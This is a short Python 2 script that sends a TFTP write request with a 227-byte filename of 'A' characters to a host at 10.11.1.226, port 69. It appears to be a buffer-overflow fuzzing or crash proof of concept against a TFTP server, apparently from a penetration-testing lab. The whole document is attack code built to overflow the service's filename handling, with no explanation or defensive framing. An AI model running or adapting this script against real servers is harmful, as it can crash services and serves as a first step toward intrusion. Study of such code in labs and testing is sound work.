#!/usr/bin/python import socket import sys host = '10.11.1.226' port = 69 try: s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) except: print "socket() failed" sys.exit(1) filename = "A" * 227 mode = "netascii" data = "\x00\x02" + filename + "\0" + mode + "\0" s.sendto(data, (host, port))